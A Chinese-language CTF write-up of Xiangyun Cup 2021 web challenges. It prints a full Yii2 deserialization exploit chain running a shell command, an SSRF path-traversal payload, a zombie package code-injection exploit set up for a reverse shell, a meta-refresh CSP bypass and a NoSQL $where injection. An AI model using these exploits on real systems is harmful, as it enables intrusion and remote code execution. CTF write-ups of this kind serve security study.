0%

祥云杯2021 web wp

祥云杯2021 web wp

六个题出了三个,太菜了太菜了。后续看了wp之后感觉唯一的确做不出来的是那个java,因为我真的不会java

ezyii

撤回我之前的好评,原来这个题真的是一个百度就能复制粘贴打的题,可惜我觉得链子不难就直接看了。原来这个题出出来就是复制粘贴的
yii 2.0.42 最新反序列化利用全集

简单看一下
反序列化入口,唯一的__destruct

namespace Codeception\Extension;

class RunProcess
{
    protected $output;
    protected $config = ['sleep' => 0];
    protected static $events = [];

    private $processes = [];
    public function __destruct()
    {
        $this->stopProcess();
    }
    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {

            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}

唯一的__call

namespace Faker;


class DefaultGenerator
{
    protected $default;
    public function __call($method, $attributes)
    {
        return $this->default;
    }
}

唯一的__toString

namespace GuzzleHttp\Psr7;

class AppendStream
{
    private $streams = [];
    private $seekable = true;
    public function __toString()
    {
        $this->rewind();
        return "hahaha";
    }
    public function rewind()
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = SEEK_SET)
    {
        if (!$this->seekable) {
            throw new \RuntimeException('This AppendStream is not seekable');
        } elseif ($whence !== SEEK_SET) {
            throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
        }

        $this->pos = $this->current = 0;
        foreach ($this->streams as $i => $stream) {
            try {
                $stream->rewind();
            } catch (\Exception $e) {
                throw new \RuntimeException('Unable to seek stream '
                    . $i . ' of the AppendStream', 0, $e);
            }
        }
    }
}

中间类

namespace GuzzleHttp\Psr7;


class CachingStream
{
    private $remoteStream;
    private $skipReadBytes = 0;
    public function rewind()
    {
        $this->seek(0);
    }
    public function seek($offset)
    {

        $byte = $offset;

        $diff = $byte - $this->stream->getSize();

        if ($diff > 0) {
            while ($diff > 0 && !$this->remoteStream->eof()) {
                $this->read($diff);
                $diff = $byte - $this->stream->getSize();
            }
        } else {
            $this->stream->seek($byte);
        }
    }

    public function read($length)
    {
        $data = $this->stream->read($length);
        $remaining = $length - strlen($data);
        if ($remaining) {

            $remoteData = $this->remoteStream->read(
                $remaining + $this->skipReadBytes
            );

            if ($this->skipReadBytes) {
                $len = strlen($remoteData);
                $remoteData = substr($remoteData, $this->skipReadBytes);
                $this->skipReadBytes = max(0, $this->skipReadBytes - $len);
            }

            $data .= $remoteData;
            $this->stream->write($remoteData);
        }

        return $data;
    }
}

触发call_user_func

namespace GuzzleHttp\Psr7;


class PumpStream
{
    private $source;
    private $size;
    private $tellPos = 0;
    private $metadata;
    private $buffer;
    public function getSize()
    {
        return $this->size;
    }
    public function read($length)
    {
        $data = $this->buffer->read($length);
        $readLen = strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;

        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += strlen($data) - $readLen;
        }

        return $data;
    }
    private function pump($length)
    {
        if ($this->source) {
            do {
                $data = call_user_func($this->source, $length);
                if ($data === false || $data === null) {
                    $this->source = null;
                    return;
                }
                $this->buffer->write($data);
                $length -= strlen($data);
            } while ($length > 0);
        }
    }
}

先进入口,进stopProcess,这里面调用了$processisRunninggetCommandLine方法,而process我们完全不知道是什么东西,所以这个调用自然是无法正常完成的,那么直接把这个process变成那个DefaultGenerator类,直接调__call。之前的那个if判断没什么触发点,但是getCommandLine这里是把返回值和字符串拼接了的,那么让这个__call魔法方法直接返回拥有__toStringAppendStream类,可以再触发一个__toString,就这样把魔法方法都用完了

直接跟进AppendStream这个类,__toStringrewindseek,该函数中能调用其他stream的rewind函数,这里还有两个Stream类,且只有CacheStream有rewind函数,那么进它的rewind看看,同样进seek,其中调用的大多都是自己的函数,唯一一个调其他stream的是一个没什么用的getSize函数,但是seek最后还调用了一个read函数,且这个read函数一开头就调用了其他类的read函数。那么就只能进最后一个类了,最后这个类的read函数进pump函数,pump函数里面有一句call_user_func,算是抵达危险目的地了
但是如果仔细跟一下的话还是会发现,这里的第二个参数$length一定是个数字,好像没有那种不要参数或者数字参数能执行什么命令的,因此还要突破

搜到一篇文章,里面有这么一段话

不同的是这一POC使用vendor/opis/closure/src/SerializableClosure.php来构造可利用的匿名函数,避开特定参数的构造,\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。
在中有__invoke()函数并且里面有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。
call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php的__invoke执行。

题目是给了这个SerializableClosure类的,这个类允许我们序列化一个匿名函数(正常情况下是不能序列化匿名函数的),而这个类存在一个invoke方法,触发时调用如上代码,那么整个payload的最后一环就由一个我们可控的任意代码执行的匿名函数解决

payload(这里给了autoload就能直接写payload还能直接测试,挺方便的)

<?php
# https://www.anquanke.com/post/id/187819
//namespace Codeception\Extension {
//
//    class RunProcess
//    {
//        // destruct
//        protected $output;
//        protected $config = ['sleep' => 0];
//        protected static $events = [];
//        private $processes = [];
//
//        function __construct($processes, $output)
//        {
//            $this->processes = $processes;
//            $this->output = $output;
//        }
//    }
//}
//
//namespace Faker {
//
//    class DefaultGenerator
//    {
//        // call
//        protected $default;
//
//        function __construct($default)
//        {
//            $this->default = $default;
//        }
//    }
//}
//
//namespace GuzzleHttp\Psr7 {
//
//
//    class AppendStream
//    {
//        // tostring
//        private $streams = [];
//        private $seekable = true;
//
//        function __construct($streams)
//        {
//            $this->seekable = true;
//            $this->streams = $streams;
//        }
//    }
//
//
//    class CachingStream
//    {
//        private $remoteStream;
//        private $skipReadBytes = 0;
//        function __construct($stream, $remoteStream)
//        {
//            $this->stream = $stream;
//            $this->remoteStream = $remoteStream;
//        }
//    }
//
//
//    class PumpStream
//    {
//        private $source;
//        private $size;
//        private $tellPos;
//        private $metadata;
//        private $buffer;
//        function __construct($source, $buffer)
//        {
//            $this->source = $source;
//            $this->buffer = $buffer;
//            $this->tellPos = 0;
//            $this->size = -1;
//        }
//    }
//}

namespace {
    include("closure/autoload.php");
    function myloader($class)
    {
        require_once './class/' . (str_replace('\\', '/', $class) . '.php');
    }

    spl_autoload_register("myloader");
    $code = "system('cat /flag.txt');";
    $func = function () use ($code) {
        eval($code);
    };

    $closure = new \Opis\Closure\SerializableClosure($func);
    $rubbish = new \Faker\DefaultGenerator("data");
    $pStream = new \GuzzleHttp\Psr7\PumpStream($closure, $rubbish);
    $false = new \Faker\DefaultGenerator(false);
    $cStream = new \GuzzleHttp\Psr7\CachingStream($pStream, $false);
    $aStream = new \GuzzleHttp\Psr7\AppendStream([$cStream]);
    $retaStream = new \Faker\DefaultGenerator($aStream);
    $output = new \Faker\DefaultGenerator($closure);
    $runProcess = new Codeception\Extension\RunProcess([$retaStream], $output);
    echo base64_encode(serialize($runProcess));
}

secret of admin

给了源码,代码不多,可以从db中看到admin账户和密码,直接登录,但flag在superuser下,且代码
主要代码在index.ts下,这两个路由比较关键

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
    
router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

/admin路由可以自己输入内容,然后用HTML转PDF渲染一个PDF出来,不过有超级过滤,不给输标签。/api/files路由必须本地访问,可以添加记录且所有参数均可控,而/api/files/:id路由可以通过checkSum读文件。
但因为这里的checksum是加盐算出来的,所以在admin路由下生成的PDF其实是没法拿到checksum没法读到的。但是/api/files是可以自己添加文件的,而/api/files/:id读文件是直接拼接文件路径的,所以只要能本地访问/api/files路由添加一条flag记录,checksum可控再去/api/files/:id下拿flag

那么ssrf打本地的任务就只能落在这个HTML转PDF功能上了,之前做了几个fireshellCTF的题目,他们就出过这个类型的题,因为HTML转PDF时,HTML里面的资源肯定是要加载进来的,比如图片,CSS样式之类的,那么要去加载这个资源就必定会请求这个资源,请求这个资源不就是ssrf吗?

而这里用了尖括号过滤不让加标签,但这个绕过非常简单,经典数组绕过,令输入是个数组就能搞定了,而渲染的时候完全不会受到数组这个数据类型的影响(其实他别的路由都检测了输入是不是string,而这里没检测,也挺明显的。。。)
输一个<img src="http://127.0.0.1:8888/api/files?username=admin&filename=aa/../flag&checksum=123"
然后就可以去/api/files/123拿flag了

这里有一个小小坑,filename直接输flag的话,一打容器就爆炸,最后发现是数据库里面有这么一条

    CREATE TABLE IF NOT EXISTS files (
            username   VARCHAR(255) NOT NULL,
            filename   VARCHAR(255) NOT NULL UNIQUE,
            checksum   VARCHAR(255) NOT NULL
        );

filename是不能重复的,幸好他的文件名也是拼接的,所以直接写个垃圾目录跳出来就行

crawler_z

代码量大一点,不过关键部分也就一个文件,登录注册没什么看的,主要看user.js
大体功能就是用户可以输入一个网址,然后通过验证爬虫就会去爬那个网址
有一定的检验

if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;

这个域名包含有域名的之前添加一条解析记录就行,没域名的把路径里塞一个叫这个名字的文件也行

这是第一步,将输入添加到用户的personalBucket,接下来需要域名满足如下条件,才会返回一个token

if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
    res.redirect(`/user/verify?token=${authToken}`)
}

这个正则写的超级严,并且也没法绕了,但不这样似乎没法获得token

最后是verify路由,需要输入一个正确的token,就会把用户的personalBucket放到bucket里面,就可以让爬虫去访问了

router.get('/verify', async (req, res, next) => {
    let { token } = req.query;
    if (!token || typeof (token) !== "string") {
        return res.send("Parameters error");
    }
    let user = await User.findByPk(req.session.userId);
    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });
    if (result) {
        try {
            await Token.update({
                valid: false
            }, {
                where: { userId: req.session.userId }
            });
            await User.update({
                bucket: user.personalBucket
            }, {
                where: { userId: req.session.userId }
            });
            user = await User.findByPk(req.session.userId);
            return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
        } catch (err) {
            next(createError(500));
        }
    } else {
        user = await User.findByPk(req.session.userId);
        return res.render('user', { user, message: "Failed to update, check your token carefully" })
    }
})

理论上这里findOne得输入之前生成的那个正确的token才能过result,不知道为什么,在尝试的时候乱按了几下,也显示成功更新了(?)后来发现好像随便输入token都能正常更新?不知道是这里哪里出了问题

那么接下来就可以让爬虫去爬取我们指定的链接了。简单测试下来发现这个爬虫的实现并不是很好,接受重定向是很合理的,但是他支持重定向更改协议,直接改成file协议,就能读本地文件,读/flag容器直接爆炸,出题人又说要rce,试着读了一下/readflag,没想到还真有,那就只能想办法rce了,这个爬虫是一个叫zombie的库,18年就不更新了,然后队友找到了这篇文章
Code Injection Vulnerability in zombie Package
把payload改为反弹shell即可

var codeToExec = "var sync=require('child_process').spawnSync; " +
    "var ls = sync('bash', ['-c', 'bash -i .......']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
// end exploit

var express = require('express');

var app = express();

app.get('/test', function(req, res) {
    res.send("<script>" + attackVector + "</script>");
});

app.listen(3000);

接下来的题都是我没做出来的了呜呜

PackageManager2021

这个题,有一个bot,有一个超强CSP,还有csrftoken,我一直认为这是一个超级xss或者csrf题,从而思考了一天。今天看神仙的wp,才知道原来是个SQL注入。。。

还是顺着思路来理一下
用的MongoDB,nosql理论上是很难有注入的,所以登录注册这些点确实也没有注入。登进来以后有几个操作,添加一个package,搜索package,认证授权,授权后可向admin提交链接

添加package的地方可以xss,但是存在无敌的csp

res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';");
res.set('X-Content-Type-Options','nosniff');

无敌了,观察了一下csrf token,只在POST的时候会带上csrf token,且似乎只会通过GET访问页面才会更新,我抓一个包反复POST的话是不会显示csrf token错误的。

无敌的CSP让我完全无法xss,观察一下向bot提交链接的代码,bot是这样进行访问的
page.goto(new URL(`/packages/${id}`, base).toString());
也是无敌操作,如果前面这个参数没拼/packages/的话,翻文档上倒是有说会优先用前面这个参数覆盖base,这里也限定死了,打不通

然后强力的队友告诉我csp可以这样绕,我完全不知道,是我太垃圾了
<meta http-equiv="refresh" content="1;url=http://x.x.x.x/" >
可以打csrf了,csrf的话这里有csrf token,所以post操作都做不了,get能进行的操作只有查package和访问特定package,访问特定package不如直接用题目给的接口。。。而查比较像一个xs-leak的点,查询的结果不同返回的状态码不同,虽然不能越过同源策略获取查询的内容,但的确可以从状态码去猜测结果。
然而这里的查不能像正常xs-leak那样一位一位的去试,他是直接把输入去查数据库的,顶多能试着猜flag然后验证flag对不对,然而想猜出来flag还是不太现实,似乎csrf计划不通

这里csp还有一句style-src 'self',style是可以引入css样式表的,而css也可以进行一定程度的猜测和盲注,比如安洵杯的一道cssgame,但是那个需要外带数据,这里无敌csp数据是无法外带的,没有机会。xss在csp下想外带数据感觉一定要能执行js,直接通过跳转的形式去外带数据,css这种靠加载资源来外带数据的,必然被无敌csp干碎

至此,不会了鸭

赛后看wp,出题人可真能藏啊,写了个bot来迷惑我呜呜呜,这里是不能直接向bot去提交链接的,必须过一部认证,而认证的过程是这样的

    let { token } = req.body;
    if (token !== '' && typeof (token) === 'string') {
        if (checkmd5Regex(token)) {
            try {
                let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
                console.log(docs);
                if (docs.length == 1) {
                    if (!(docs[0].isAdmin === true)) {
                        return res.render('auth', { error: 'Failed to auth' })
                    }
                } else {
                    return res.render('auth', { error: 'No matching results' })
                }

这里一反常态,平常都是用的比较合理的查询方案,不存在注入,而这里用了一个where语句,且无任何过滤,但我做题的时候仅仅是用了万能密码绕过了权限,然后就一直在研究怎么攻击bot了。。。完美被迷惑呜呜呜,这里可以直接SQL注入拿到admin的密码,登上去看flag。。。
可以直接用this.password[i]=='x'这种下标访问的形式一位一位的拿到admin密码,nosql注入的语法和正常的注入不太一样,这里我还没怎么了解过

安全监测

出题人铁傻逼
喜欢藏,除了恶心人还能干什么
不想写wp,卡住了的话就只能是没扫目录没找到还藏了一个admin目录
可能不扫目录是我不够熟练吧,毕竟出了一百多个队的简单题

层层穿透

java题,给了源码,但是似乎是个内网的服务,题目打开的话是一个apache flink dashboard,没见过,但是有一个上传jar功能,环境共用,看到一堆rce.jar,并且还显示入口类是metasploit,我直接百度,显示上传jar这里能直接传一个类执行rce,我也直接上kali整了一个,reverse_tcp理论上来说nc就能接,但是接到了就显示内存崩了,没执行上命令,还专门整了个frp把内网映射到公网。。。还整了个虚拟机映射,再把虚拟机端口映射到物理机,用msf自带的handler接,也连不上。可能还不如自己写一个runtime exec弹shell呢。。。。
不过就算连上了我看代码后半段是个fastjson,属于我不会的领域,也就算了。好菜呜呜

这个题本来不置可否,现在再给一个差评,赛时找队里的java大师他在给老板打工没空,赛后叫他带带我之后他直接告诉我这个题是抄他出过的一个题。害,要是赛时他在场就直接秒了。。。